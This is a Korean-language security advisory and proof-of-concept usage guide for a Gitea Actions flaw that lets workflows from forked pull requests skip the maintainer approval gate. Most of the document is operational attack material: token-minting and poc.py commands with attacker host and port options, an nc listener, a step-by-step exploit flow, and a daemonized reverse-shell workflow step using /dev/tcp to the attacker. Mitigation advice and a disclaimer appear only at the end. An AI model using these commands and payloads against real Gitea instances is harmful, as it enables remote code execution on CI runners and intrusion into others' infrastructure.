
Gitea 오픈소스 Git 서버의 승인 게이트 로직에 존재하는 결함으로 인해 퍼머넌트 포크에서 시작된 풀 리퀘스트가 저장소에 설정된 승인 게이트를 충족하지 않아도 병합될 수 있습니다.
심각도: 높음 (CVSS 8.9) 영향받는 버전: Gitea ≤ 1.26.2 수정 버전: Gitea 1.26.3 보안 권고: GHSA-777r-4v59-6486
Gitea Actions는 포크된 풀 리퀘스트에 의해 트리거된 워크플로 실행에 승인 게이트를 적용합니다. 이 게이트는 ifNeedApproval()에 구현되어 있으며, 신뢰할 수 없는 기여자가 CI 파이프라인을 통해 임의 코드를 실행하는 것을 방지하기 위한 것입니다.
결함은 ifNeedApproval()이 pull_request 이벤트에만 올바르게 적용된다는 점입니다. 워크플로의 on: 블록에 나열된 각 이벤트 유형은 자체 승인 검사를 가진 독립적인 ActionRun 객체를 생성합니다. 공격자가 on: 블록을 확장하여 pull_request_review, issue_comment 또는 pull_request_review_comment와 같은 이벤트를 포함시키면, 해당 실행은 승인 게이트를 거치지 않고 디스패치됩니다.
이러한 보호되지 않은 이벤트 중 하나를 트리거하면(예: PR 리뷰 댓글 게시) 유지관리자 승인 없이 러너의 서비스 계정으로 워크플로 실행이 즉시 시작됩니다.
ifNeedApproval() 함수는 pull_request 이벤트에 대해 (repo_id, trigger_user_id)를 기준으로 승인을 확인하지만, 이 검사를 트리거 가능한 모든 이벤트 유형에 일관되게 적용하지 않습니다.
취약 경로:
POST /repos/{owner}/{repo}/pulls/{index}/reviews
-> Gitea creates ActionRun with event=pull_request_review
-> ifNeedApproval() not called for this event type
-> Job dispatched to runner immediately
| 요구 사항 | 세부 사항 |
|---|---|
| Gitea 계정 | 포크 권한이 있는 모든 인증 사용자 |
| 대상 리포지토리 | Gitea Actions가 활성화되어 있어야 함 |
| 러너 | act_runner가 온라인 상태이고 등록되어 있어야 함 |
| 네트워크 | 러너에서 공격자 호스트에 도달할 수 있어야 함 |
# Minimum
pip install requests
# For Kerberos/Negotiate auth
pip install requests requests-gssapi
브라우저 경유: Settings -> Applications -> Generate Token
필요한 스코프: repository write + issue write.
API 경유:
curl -s -X POST http://gitea.example.com:3000/api/v1/users/<username>/tokens \
-u "<username>:<password>" \
-H "Content-Type: application/json" \
-d '{"name":"pwn","scopes":["write:repository","write:issue"]}'
실행:
python3 poc.py \
--url http://gitea.example.com:3000 \
--token <token> \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
Kerberos/SPNEGO만 허용하는 Gitea 인스턴스용입니다(SSPI가 강제되는 Active Directory 환경). 유효한 TGT가 있는 도메인 가입 호스트에서 실행해야 합니다.
kinit [email protected]
klist
python3 poc.py \
--url http://gitea.corp.local:3000 \
--negotiate \
--target-owner <owner> \
--target-repo <repo> \
--lhost <attacker-ip> \
--lport 4444
DNS 확인이 실패하면 /etc/krb5.conf를 구성하세요:
[libdefaults]
default_realm = DOMAIN.LOCAL
dns_lookup_realm = false
dns_lookup_kdc = true
rdns = false
[realms]
DOMAIN.LOCAL = {
kdc = <DC_IP>
admin_server = <DC_IP>
}
[domain_realm]
.domain.local = DOMAIN.LOCAL
domain.local = DOMAIN.LOCAL
--url Gitea base URL (required)
--token API token
--negotiate Kerberos/SPNEGO auth (kinit first)
--cookie Session cookie string
--target-owner Target repo owner (required)
--target-repo Target repo name (required)
--lhost Attacker IP for reverse shell (required)
--lport Attacker port (required)
--runner-label Runner label to target (default: tries common labels)
--detect-label Auto-enumerate runner labels before exploiting
--fork-name Custom fork name (default: <repo>-<random>)
--workflow-name Custom workflow filename (default: ci-<random>.yml)
--pr-title Custom PR title (default: random realistic string)
--review-body Custom review comment (default: random)
--payload-type bash / python3 / nc / custom (default: bash)
--custom-payload Shell command (use with --payload-type custom)
--no-cleanup Leave PR open after exploit
--cleanup-delay Seconds before cleanup (default: 30)
nc -lvnp 4444
1. Authenticate to Gitea API
2. Fork target repo into attacker namespace
3. Enable Actions on fork
4. Inject malicious workflow with bypass events in on: block
5. Remove inherited workflows from fork (prevents runner interference)
6. Open PR: attacker/fork:main -> target/repo:main
7. POST /repos/target/repo/pulls/1/reviews {"event":"COMMENT","body":"..."}
-> pull_request_review event fires
-> ifNeedApproval() NOT called
-> ActionRun dispatched immediately
8. Runner executes payload -> reverse shell as runner service account
기본적으로 act_runner는 단일 워커입니다. 리버스 셸 단계가 정상적으로 종료되지 않으면 러너는 "running" 상태를 유지하고 새 작업을 무시합니다.
이를 방지하려면 셸을 백그라운드로 실행하세요:
- name: run
run: |
setsid bash -c 'bash -i >& /dev/tcp/LHOST/LPORT 0>&1' &
sleep 1
exit 0
또는 --custom-payload를 사용하여 데몬화된 원라이너를 직접 전달할 수 있습니다.
event=pull_request_review 또는 event=issue_comment가 있는 ActionRun 항목pull_request_review 트리거가 있는 포크 리포지토리의 워크플로 파일| 조치 | 세부 사항 |
|---|---|
| 업그레이드 | Gitea 1.26.3+에서 이 문제를 패치함 |
| 임시 해결책 | 신뢰할 수 없는 기여자가 있는 리포지토리에서 Gitea Actions 비활성화 |
| 감사 | 예기치 않은 실행이 없는지 포크 PR 및 관련 워크플로 실행 검토 |
| 제한 | 포크 권한을 신뢰할 수 있는 사용자로 제한 |
승인된 보안 테스트 및 연구 목적으로만 사용하십시오. 명시적인 서면 허가 없이 시스템에 사용하지 마십시오.